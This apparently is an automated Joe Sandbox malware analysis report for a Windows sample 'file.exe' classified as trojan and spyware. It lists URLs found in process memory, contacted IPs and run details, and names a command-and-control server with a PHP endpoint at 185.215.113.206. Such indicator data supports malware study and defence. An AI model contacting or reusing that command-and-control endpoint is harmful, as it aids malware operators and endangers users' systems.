https://www.youtube.com/s/notifications/manifest/cr_install.htmlB	chrome.exe, 00000002.00000002.2420666070.00001FDC010AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-5.corp.google.com/	chrome.exe, 00000002.00000003.2229842565.00001FDC00438000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	false	URL Reputation: safe	unknown
https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions	chrome.exe, 00000002.00000002.2357345730.00001FDC004D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419777549.00001FDC00EBC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy	chrome.exe, 00000002.00000002.2357345730.00001FDC004BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2362514989.00001FDC00718000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2415456068.00001FDC0084C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2420055203.00001FDC00F0C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/v1/issuetoken	msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4722	chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://assets.msn.com/statics/icons/favicon_newtabpage.png	file.exe, 00000000.00000003.2522785715.000000001D77B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2522310102.000000001D77B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2630781980.000000001D761000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2586511524.000000001D760000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2630864382.000000001D77B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2523302537.000000001D77B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2575810097.000000001D77B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2523058853.000000001D774000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2513079993.000000001D77A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2522507524.000000001D760000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2521389498.000000001D77A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2576362161.000000001D77B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2523196671.000000001D77A000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2586435974.000000001D77B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2521958999.000000001D775000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2585915032.000000001D77B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2586211788.000000001D77B000.00000004.00000020.00020000.00000000.sdmp, json[1].json.0.dr	false		unknown
https://m.google.com/devicemanagement/data/api	chrome.exe, 00000002.00000002.2355924705.00001FDC001C4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/reauth/v1beta/users/	msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/presentation/u/0/create?usp=chrome_actions	chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2357147154.00001FDC00464000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419777549.00001FDC00EBC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-4.c	chrome.exe, 00000002.00000002.2356464857.00001FDC0030C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.bestbuy.com/site/electronics/top-deals/pcmcat1563299784494.c/?id=pcmcat1563299784494&ref	file.exe, 00000000.00000002.2633990248.00000000239C6000.00000004.00000020.00020000.00000000.sdmp, GIDAECGDAFBAAAAAECGI.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.206GCB	file.exe, 00000000.00000002.2612006536.0000000000A5C000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000002.2633990248.00000000239C6000.00000004.00000020.00020000.00000000.sdmp, GIDAECGDAFBAAAAAECGI.0.dr	false		unknown
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		unknown
https://publickeyservice.pa.gcp.privacysandboxservices.com	chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		unknown
http://anglebug.com/5881&	chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://permanently-removed.invalid/RotateBoundCookies	msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/dogl	chrome.exe, 00000002.00000002.2420811493.00001FDC01170000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3502	chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3623	msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3625	msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3624	msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.206/6c4adf523b719729.phpBrowser	file.exe, 00000000.00000002.2613572766.0000000001212000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4p8dfCfm4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	file.exe, 00000000.00000002.2633990248.00000000239C6000.00000004.00000020.00020000.00000000.sdmp, GIDAECGDAFBAAAAAECGI.0.dr	false		unknown
http://anglebug.com/3862	chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365339506.00004F7C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.rs/getrandom#nodejs-es-module-support	file.exe, file.exe, 00000000.00000002.2612006536.0000000000A5C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2156925914.000000000501B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642999183.000000006CFD1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr	false	URL Reputation: safe	unknown
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr, 000003.log10.8.dr	false		unknown
https://chrome.google.com/webstoreLDDiscover	chrome.exe, 00000002.00000003.2256210273.00001FDC00CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237726444.00001FDC00CB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2236723640.00001FDC00CA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2235752765.00001FDC00CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241933292.00001FDC00CA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2237631868.00001FDC00CA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241336602.00001FDC00CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241900399.00001FDC00338000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234519517.00001FDC00CF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234061760.00001FDC00CA0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4836	chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365339506.00004F7C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/issues/166475273	msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.ico	chrome.exe, 00000002.00000002.2417298240.00001FDC00C0C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://unisolated.invalid/H	chrome.exe, 00000002.00000002.2416059525.00001FDC00970000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5421E	chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/s/notifications/manifest/cr_install.html?ls	chrome.exe, 00000002.00000002.2364525886.00001FDC00744000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3970	chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://apis.google.com	chrome.exe, 00000002.00000003.2260106729.00001FDC01438000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421385411.00001FDC01478000.00000004.00000800.00020000.00000000.sdmp, chromecache_482.4.dr	false	URL Reputation: safe	unknown
http://polymer.github.io/CONTRIBUTORS.txt	chrome.exe, 00000002.00000003.2238786237.00001FDC0106C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2239697124.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2239657133.00001FDC00A0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241799437.00001FDC010C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238804311.00001FDC00F14000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241135564.00001FDC00540000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2242028487.00001FDC0120C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238765667.00001FDC0101C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2416059525.00001FDC0098B000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2239738823.00001FDC00F5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238906062.00001FDC01038000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2238601607.00001FDC00EF4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2239620080.00001FDC00CA0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://labs.google.com/search?source=ntp	chrome.exe, 00000002.00000002.2356768164.00001FDC003B0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-query.fastly-edge.com/2P	chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2226117704.000022040071C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2269010957.0000220400974000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5430G	chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-5.corp.go	chrome.exe, 00000002.00000002.2356464857.00001FDC0030C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5901	chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/3965	chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365339506.00004F7C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://anglebug.com/7161	chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5430T	chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7162	chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365339506.00004F7C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/5906	chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365339506.00004F7C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/2517	chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://permanently-removed.invalid/MergeSession	msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4937	chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://issuetracker.google.com/166809097	msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://lens.google.com/v3/upload	chrome.exe, 00000002.00000003.2226871008.000022040087C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241799437.00001FDC010C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241135564.00001FDC00540000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2242028487.00001FDC0120C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/3832	chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365339506.00004F7C0037C000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.comAccess-Control-Allow-Credentials:	chrome.exe, 00000002.00000003.2249411380.00001FDC00338000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive-daily-0.corp.google.com/	chrome.exe, 00000002.00000003.2229842565.00001FDC00438000.00000004.00000800.00020000.00000000.sdmp, manifest.json.8.dr	false	URL Reputation: safe	unknown
https://permanently-removed.invalid/Logout	msedge.exe, 00000006.00000003.2364831359.00004F7C00274000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2364429306.00004F7C00270000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com/?lfhs=2ationinished	chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://lens.google.com/upload	chrome.exe, 00000002.00000003.2241799437.00001FDC010C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2241135564.00001FDC00540000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2242028487.00001FDC0120C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/?usp=installed_webapp	chrome.exe, 00000002.00000002.2420774161.00001FDC01140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2421101901.00001FDC012C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2416542194.00001FDC00A18000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2419647466.00001FDC00E74000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6651	chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://c.msn.com/	2cc80dabc69f58b6_1.8.dr	false		unknown
https://lens.google.com/v3/uploadSidePanelCompanionDesktopM116PlusEnabled_UnPinned_NewTab_20230918=	chrome.exe, 00000002.00000002.2456978476.0000220400920000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/4830	chrome.exe, 00000002.00000003.2234214400.00001FDC00B0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2233477046.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.2234164188.00001FDC0038C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000002.2417878197.00001FDC00C64000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000006.00000003.2365903246.00004F7C00368000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://msn.com	file.exe, 00000000.00000002.2633990248.0000000023960000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/:	chrome.exe, 00000002.00000002.2356922821.00001FDC0042C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://mail.google.com/mail/	chrome.exe, 00000002.00000002.2417229930.00001FDC00BE4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/shielded-email2B	chrome.exe, 00000002.00000003.2267511222.00001FDC01874000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
52.153.155.231	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.198.7.181	unknown	United States	20940	AKAMAI-ASN1EU	false
23.221.22.166	unknown	United States	20940	AKAMAI-ASN1EU	false
108.156.211.31	unknown	United States	16509	AMAZON-02US	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
23.47.194.65	unknown	United States	20940	AKAMAI-ASN1EU	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
216.58.212.174	plus.l.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
104.40.82.182	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
20.52.64.200	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.218.232.158	unknown	United States	24835	RAYA-ASEG	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.244.18.32	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
142.250.185.132	www.google.com	United States	15169	GOOGLEUS	false
142.250.185.110	play.google.com	United States	15169	GOOGLEUS	false
184.25.237.99	unknown	United States	16625	AKAMAI-ASUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.186.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.5
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1545785
Start date and time:	2024-10-31 01:17:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 25s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@67/301@26/26
EGA Information:	Failed
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.131, 142.250.186.78, 64.233.167.84, 34.104.35.123, 142.250.74.195, 93.184.221.240, 142.250.185.74, 142.250.185.202, 172.217.18.10, 216.58.206.42, 142.250.186.138, 142.250.185.106, 142.250.74.202, 142.250.186.42, 216.58.212.170, 142.250.185.138, 142.250.181.234, 142.250.186.74, 142.250.185.234, 142.250.185.170, 142.250.184.202, 216.58.212.138, 192.229.221.95, 216.58.206.74, 172.217.16.202, 142.250.186.170, 142.250.184.234, 204.79.197.203, 13.107.42.16, 204.79.197.239, 13.107.21.239, 142.250.186.110, 13.107.6.158, 2.19.126.145, 2.19.126.143, 20.191.45.158, 2.23.209.182, 2.23.209.133, 2.23.209.187, 2.23.209.130, 88.221.110.179, 88.221.110.242, 2.23.209.149, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.23.209.25, 2.23.209.23, 2.23.209.7, 2.23.209.3, 2.23.209.13, 2.23.209.52, 2.23.209.20, 2.23.209.51, 2.23.209.59, 172.205.80.42, 142.250.113.94, 142.250.115.94
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, prod-agic-ne-8.northeurope.cloudapp.azure.com, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, wildcardtlu-ssl.azureedge.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficman
Execution Graph export aborted for target file.exe, PID 2232 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
